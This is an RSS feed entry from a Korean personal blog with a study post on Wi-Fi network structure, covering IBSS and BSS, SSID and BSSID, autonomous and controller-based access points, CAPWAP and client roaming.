<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>haehet</title>
    <link>https://haehet.tistory.com/</link>
    <description>noob hacker
</description>
    <language>ko</language>
    <pubDate>Sat, 23 May 2026 09:28:25 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>haehet</managingEditor>
    <image>
      <title>haehet</title>
      <url>https://tistory1.daumcdn.net/tistory/7802283/attach/b4fef649a7b64babbf551d76b1a597cd</url>
      <link>https://haehet.tistory.com</link>
    </image>
    <item>
      <title>Wi-Fi Network 구조 정리</title>
      <link>https://haehet.tistory.com/35</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;이번 글에서는 예전 RF 정리에 이어서 무선 통신에 대해 조금 더 공부해보겠다. &lt;/span&gt;&lt;span&gt;본격적으로 LTE나 다른 무선 통신 표준을 공부하기 전에 먼저 가장 익숙한 무선 네트워크인 Wi-Fi의 기본 구조를 정리해보려고 한다. (아래 내용 중 틀린 부분이 있을 수 있으며, 찾으신 경우 댓글로 알려주세요!)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span&gt;1. Wi-Fi란&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;div data-is-intersecting=&quot;true&quot; data-turn-id-container=&quot;request-WEB:146ff309-377b-47c1-8207-5c3447a57b58-24&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div data-turn-start-message=&quot;true&quot; data-message-model-slug=&quot;gpt-5-5-thinking&quot; data-message-id=&quot;7ad0bfc7-060b-4596-84ab-f429b1e711c0&quot; data-message-author-role=&quot;assistant&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;p data-end=&quot;102&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;사람들이 집, 사무실, 동네 카페 등에서 흔히 접하는 일반적인 무선 네트워크를 &lt;b&gt;Wi-Fi&lt;/b&gt;라고 부른다. Wi-Fi 네트워크는 여러 장치를 중간 정도의 거리에서 서로 연결하며 일반적으로 최대 약 100m 정도까지 통신할 수 있다. Wi-Fi는 &lt;b&gt;IEEE 802.11 표준&lt;/b&gt;을 사용하고 &lt;b&gt;2.4GHz, 5GHz, 6GHz&lt;/b&gt;의 비면허 주파수 대역에서 동작한다. 저번&amp;nbsp;글에서&amp;nbsp;정리했던&amp;nbsp;RF가&amp;nbsp;무선&amp;nbsp;신호를&amp;nbsp;공기&amp;nbsp;중으로&amp;nbsp;전달하기&amp;nbsp;위한&amp;nbsp;물리적인&amp;nbsp;기반이라면,&amp;nbsp;Wi-Fi는&amp;nbsp;그&amp;nbsp;무선&amp;nbsp;신호를&amp;nbsp;이용해&amp;nbsp;여러&amp;nbsp;장치가&amp;nbsp;하나의&amp;nbsp;네트워크를&amp;nbsp;구성하고&amp;nbsp;데이터를&amp;nbsp;주고받기&amp;nbsp;위한&amp;nbsp;프로토콜&amp;nbsp;구조라고&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XGH2S/dJMcafNsJJk/jqWlPBX0J6QTeL50lOTR00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XGH2S/dJMcafNsJJk/jqWlPBX0J6QTeL50lOTR00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XGH2S/dJMcafNsJJk/jqWlPBX0J6QTeL50lOTR00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXGH2S%2FdJMcafNsJJk%2FjqWlPBX0J6QTeL50lOTR00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;338&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. &lt;span&gt;Wi-Fi 네트워크 구성 방식: IBSS와 BSS&lt;/span&gt;&lt;br /&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Wi-Fi 네트워크는 구성 방식에 따라 크게 IBSS와 B&lt;/span&gt;&lt;span&gt;SS로 나눌 수 있다. (ESS, PBSS는 여기서 설명 안한당)&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span&gt;IBSS&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;IBSS는 &lt;b&gt;Independent Basic Service Set&lt;/b&gt;의 약자로 AP 없이 기기끼리 직접 통신하는 무선 네트워크 구조이다. 흔히 Ad-hoc 방식이라고도 부른다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;540&quot; data-origin-height=&quot;72&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dnNYbQ/dJMcacb5iPe/gAkYoLwJ1E5tGgBayOJzfK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dnNYbQ/dJMcacb5iPe/gAkYoLwJ1E5tGgBayOJzfK/img.jpg&quot; data-alt=&quot;Ad-hoc 방식 통신&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dnNYbQ/dJMcacb5iPe/gAkYoLwJ1E5tGgBayOJzfK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdnNYbQ%2FdJMcacb5iPe%2FgAkYoLwJ1E5tGgBayOJzfK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;540&quot; height=&quot;72&quot; data-origin-width=&quot;540&quot; data-origin-height=&quot;72&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Ad-hoc 방식 통신&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이런 AdHoc 방식에서는 각각의 노드(기기)가 클라이언트 역할과 라우터 역할을 동시에 한다. 이러한 구성은 무선 인프라등을 사용하기 어려울 때 유용하다. &lt;span&gt;하지만 &lt;b&gt;IBSS는 여러 장치를 안정적으로 연결하는 구조로는 한계가 있다.&lt;/b&gt; Wi-Fi에서는 모든 장치가 같은 무선 매체를 공유한다. 따라서 같은 채널에서 여러 장치가 동시에 데이터를 전송하면 신호가 서로 겹쳐 간섭이 발생할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;502&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k4dOy/dJMcaiQStcn/R4KkvGqTaHfDlYZXsW0v5k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k4dOy/dJMcaiQStcn/R4KkvGqTaHfDlYZXsW0v5k/img.jpg&quot; data-alt=&quot;같은 RF 스펙트럼에 의한 간섭 발생&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k4dOy/dJMcaiQStcn/R4KkvGqTaHfDlYZXsW0v5k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk4dOy%2FdJMcaiQStcn%2FR4KkvGqTaHfDlYZXsW0v5k%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;502&quot; height=&quot;184&quot; data-origin-width=&quot;502&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;같은 RF 스펙트럼에 의한 간섭 발생&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;또한 중앙에서 접속을 관리하거나 무선 설정을 조율하는 AP가 없기 때문에 장치 수가 많아질수록 통신을 질서 있게 관리하기 어려워진다. 또한 접근 제어와 보안 설정을 일관되게 적용하기도 어렵다. 따라서 IBSS는 간단한 임시 연결에는 사용할 수 있지만 우리가 집이나 카페에서 사용하는 일반적인 Wi-Fi 네트워크 구조로는 적합하지 않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;BSS&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이러한 한계를 해결하기 위해&amp;nbsp;&lt;b&gt;일반적인&amp;nbsp;Wi-Fi에서는&amp;nbsp;AP를&amp;nbsp;중심으로&amp;nbsp;네트워크를&amp;nbsp;구성한다&lt;/b&gt;.&amp;nbsp;802.11에서&amp;nbsp;이런&amp;nbsp;기본&amp;nbsp;무선&amp;nbsp;네트워크&amp;nbsp;단위를&amp;nbsp;&lt;b&gt;BSS(Basic&amp;nbsp;Service&amp;nbsp;Set)&lt;/b&gt;라고 부른다. BSS에서는 AP가 중심에 있고 스마트폰이나 노트북 같은 클라이언트 장치들은 AP에 연결되어 네트워크에 참여한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;490&quot; data-origin-height=&quot;221&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OxYcj/dJMcaf7GKxt/Kxoh9siwVMfZrkDmkQMijk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OxYcj/dJMcaf7GKxt/Kxoh9siwVMfZrkDmkQMijk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OxYcj/dJMcaf7GKxt/Kxoh9siwVMfZrkDmkQMijk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOxYcj%2FdJMcaf7GKxt%2FKxoh9siwVMfZrkDmkQMijk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;490&quot; height=&quot;221&quot; data-origin-width=&quot;490&quot; data-origin-height=&quot;221&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;BSS에서는 모든 기기가 AP를 통해서 통신을 한다. 또한 이는 각 데이터가 같은 주파수 스펙트럼, 변조, 채널을 거치도록 해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각각의 BSS는 &lt;b&gt;BSSID(&lt;span style=&quot;background-color: #ffffff; color: #3b3b3b; text-align: start;&quot;&gt;Basic Service Set Identifier)&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #3b3b3b; text-align: start;&quot;&gt;을 통해 구분되며 이는 MAC 주소와 비슷한 개념이다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 AP가 BSS 네트워크의 중심이기 때문에 BSS의 적용 범위는 AP의 신호가 이용가능한 곳으로 한정된다. 이런 범위를 &lt;b&gt;cell&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;또는 &lt;b&gt;Basic Service Area(BSA)&lt;/b&gt;라고 부른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;AP는 네트워크에 참여하려는 모든 장치의 주요 접점 역할을 한다. AP는 &lt;b&gt;BSS의 존재를 브로드캐스트하여&lt;/b&gt; 장치들이 해당 네트워크를 발견하고 연결을 시도할 수 있도록 한다. AP는 자신의 &lt;b&gt;무선 MAC 주소를 기반으로 한 BSSID(Basic Service Set Identifier)&lt;/b&gt; 를 사용해 자신을 식별한다. 또한 AP는 무선 네트워크의 사람이 읽기 쉬운 이름인 &lt;b&gt;SSID(Service Set Identifier)&lt;/b&gt; 도 함께 알린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;539&quot; data-origin-height=&quot;223&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgXNsV/dJMcabRJGIj/v1LmHsbLBXhhezmrSNdLLK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgXNsV/dJMcabRJGIj/v1LmHsbLBXhhezmrSNdLLK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgXNsV/dJMcabRJGIj/v1LmHsbLBXhhezmrSNdLLK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgXNsV%2FdJMcabRJGIj%2Fv1LmHsbLBXhhezmrSNdLLK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;539&quot; height=&quot;223&quot; data-origin-width=&quot;539&quot; data-origin-height=&quot;223&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;장치가 BSS에 참여하기 전에는 AP에게 접속 허가를 요청해야 한다. 이 과정을 &lt;b&gt;association&lt;/b&gt;이라고 한다. AP가 이를 허용하면 해당 장치는 클라이언트가 되며 이를 &lt;b&gt;802.11 station(STA)&lt;/b&gt; 이라고도 부른다. Association이 완료된 이후에는 클라이언트의 대부분의 통신이 AP를 거쳐야 한다. 데이터 프레임은 BSSID를 출발지 또는 목적지 주소로 사용하여 송수신된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3.&lt;span&gt; &lt;span&gt;AP Architecture&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Autonomous&amp;nbsp;AP&amp;nbsp;architecture&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; Autonomous AP는 독립적으로 동작하는 AP 구조이다. AP 하나가 BSS를 제공하고 무선 클라이언트를 유선 네트워크에 연결해주는 역할을 한다. 핵심은 SSID를 VLAN에 매핑한다는 점이다. 예를 들어 AP가 MyWiFi라는 SSID를 VLAN 5에 매핑하면, MyWiFi에 접속한 무선 클라이언트는 유선 네트워크 관점에서 VLAN 5에 연결된 것처럼 동작한다. 따라서 같은 VLAN에 속한 유선 장치와 무선 장치는 같은 서브넷에서 서로 통신할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;448&quot; data-origin-height=&quot;165&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bG2K9Z/dJMcab5jAkP/BIX9zAkk3QnIxJjQHH7qXK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bG2K9Z/dJMcab5jAkP/BIX9zAkk3QnIxJjQHH7qXK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bG2K9Z/dJMcab5jAkP/BIX9zAkk3QnIxJjQHH7qXK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbG2K9Z%2FdJMcab5jAkP%2FBIX9zAkk3QnIxJjQHH7qXK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;448&quot; height=&quot;165&quot; data-origin-width=&quot;448&quot; data-origin-height=&quot;165&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;또한 하나의 AP는 여러 SSID를 제공할 수 있고 각각의 SSID를 서로 다른 VLAN에 매핑할 수 있다. 이를 통해 Guest 네트워크와 내부 사용자 네트워크처럼 사용자를 논리적으로 분리할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;412&quot; data-origin-height=&quot;192&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c9WwqB/dJMcaaeh9gk/63j5VBh0nGmFsGQBWETshk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c9WwqB/dJMcaaeh9gk/63j5VBh0nGmFsGQBWETshk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c9WwqB/dJMcaaeh9gk/63j5VBh0nGmFsGQBWETshk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc9WwqB%2FdJMcaaeh9gk%2F63j5VBh0nGmFsGQBWETshk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;412&quot; height=&quot;192&quot; data-origin-width=&quot;412&quot; data-origin-height=&quot;192&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;하지만 Autonomous AP는 각 AP가 독립적으로 동작하기 때문에 AP 수가 많아지면 관리가 어려워진다. 새로운 SSID, VLAN, 채널, 송신 출력 등을 설정하려면 AP마다 직접 설정해야 한다. 따라서 가정이나 소규모 네트워크에는 적합하지만 &lt;b&gt;대규모 환경에서는 관리와 확장성 측면에서 한계가&lt;/b&gt; 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Lightweight&amp;nbsp;AP&amp;nbsp;architecture&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;Autonomous AP의 한계를 해결하기 위해 등장한 구조가 &lt;b&gt;Lightweight AP architecture&lt;/b&gt;이다. Lightweight AP는 AP가 모든 기능을 독립적으로 처리하지 않고, 중앙의 &lt;b&gt;WLC(Wireless LAN Controller)&lt;/b&gt;가 여러 AP를 관리하는 구조이다. Autonomous AP에서는 각각의 AP에 SSID, VLAN, 보안 설정, 채널, 송신 출력 등을 직접 설정해야 했다. 하지만 Lightweight AP 구조에서는 이러한 설정과 정책을 WLC가 중앙에서 관리한다. 따라서 AP가 수십 개 이상 존재하는 학교, 기업, 병원, 공항 같은 대규모 무선 네트워크에서 더 효율적으로 사용할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;497&quot; data-origin-height=&quot;237&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y2GS3/dJMcabqJKUp/TyDAZY6Ar1KDmnKMqwkYV1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y2GS3/dJMcabqJKUp/TyDAZY6Ar1KDmnKMqwkYV1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y2GS3/dJMcabqJKUp/TyDAZY6Ar1KDmnKMqwkYV1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy2GS3%2FdJMcabqJKUp%2FTyDAZY6Ar1KDmnKMqwkYV1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;497&quot; height=&quot;237&quot; data-origin-width=&quot;497&quot; data-origin-height=&quot;237&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; Lightweight AP는 이름 그대로 비교적 가벼운 역할을 수행한다. AP는 주로 Beacon 전송, Probe 응답, 802.11 프레임 송수신처럼 클라이언트와 직접 상호작용해야 하는 실시간 무선 작업을 담당한다. 반면 WLC는 SSID 설정, 클라이언트 인증, 로밍 관리, RF 관리, 보안 정책 적용 같은 중앙 관리 작업을 담당한다. 이렇게 AP와 WLC가 기능을 나누어 처리하는 구조를 &lt;b&gt;Split-MAC architecture&lt;/b&gt;라고 부른다.&amp;nbsp; MAC 계층의 모든 기능을 AP 하나가 처리하는 것이 아니고 실시간 처리가 필요한 기능은 AP가 맡고 관리와 정책에 가까운 기능은 WLC가 처리하는 방식이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;518&quot; data-origin-height=&quot;307&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bs4f0P/dJMcador8sA/BcW73wPvAqLFlKbOuGYDN1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bs4f0P/dJMcador8sA/BcW73wPvAqLFlKbOuGYDN1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bs4f0P/dJMcador8sA/BcW73wPvAqLFlKbOuGYDN1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbs4f0P%2FdJMcador8sA%2FBcW73wPvAqLFlKbOuGYDN1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;518&quot; height=&quot;307&quot; data-origin-width=&quot;518&quot; data-origin-height=&quot;307&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;Lightweight AP는 WLC와 통신하기 위해 &lt;b&gt;CAPWAP&lt;/b&gt;이라는 프로토콜을 사용한다. 이를 통해 AP는 WLC로부터 설정과 펌웨어를 받아오고 필요한 경우 클라이언트 트래픽도 WLC를 거쳐 유선 네트워크로 전달할 수 있다. 중요한 점은 WLC가 AP와 반드시 같은 VLAN이나 같은 스위치에 있을 필요는 없다는 것이다. AP가 WLC와 IP 통신만 할 수 있으면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;462&quot; data-origin-height=&quot;161&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAMx7i/dJMcahLe6FS/R2OU5sKOaaWKPxHGdsO8Kk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAMx7i/dJMcahLe6FS/R2OU5sKOaaWKPxHGdsO8Kk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAMx7i/dJMcahLe6FS/R2OU5sKOaaWKPxHGdsO8Kk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAMx7i%2FdJMcahLe6FS%2FR2OU5sKOaaWKPxHGdsO8Kk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;462&quot; height=&quot;161&quot; data-origin-width=&quot;462&quot; data-origin-height=&quot;161&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. Client&amp;nbsp;Roaming&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;272&quot; data-start=&quot;183&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;선 클라이언트가 한 AP에서 다른 AP로 연결 지점을 옮기는 과정을 &lt;b&gt;로밍(roaming)&lt;/b&gt; 이라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Wi-Fi&amp;nbsp;환경에서는&amp;nbsp;사용자가&amp;nbsp;이동하더라도&amp;nbsp;계속&amp;nbsp;같은&amp;nbsp;SSID에&amp;nbsp;연결된&amp;nbsp;것처럼&amp;nbsp;보인다.&amp;nbsp;하지만&amp;nbsp;실제로는&amp;nbsp;&lt;b&gt;클라이언트가 기존 AP와의 연결을 끊고 더 좋은 신호를 제공하는 다른 AP에 다시 연결하는 과정이 발생한다.&lt;/b&gt;&amp;nbsp; 사용자는 WiFi라는 하나의 네트워크에 계속 연결되어 있는 것처럼 느끼지만 내부적으로는 여러 BSS 사이를 이동하고 있는 것이다. 중요한 점은 로밍을 결정하는 주체가 기본적으로 AP가 아니라 클라이언트라는 것이다. 스마트폰이나 노트북 같은 클라이언트는 현재 AP의 신호 세기, SNR, 패킷 손실, 재전송률 등을 보고 다른 AP로 이동할지 판단한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
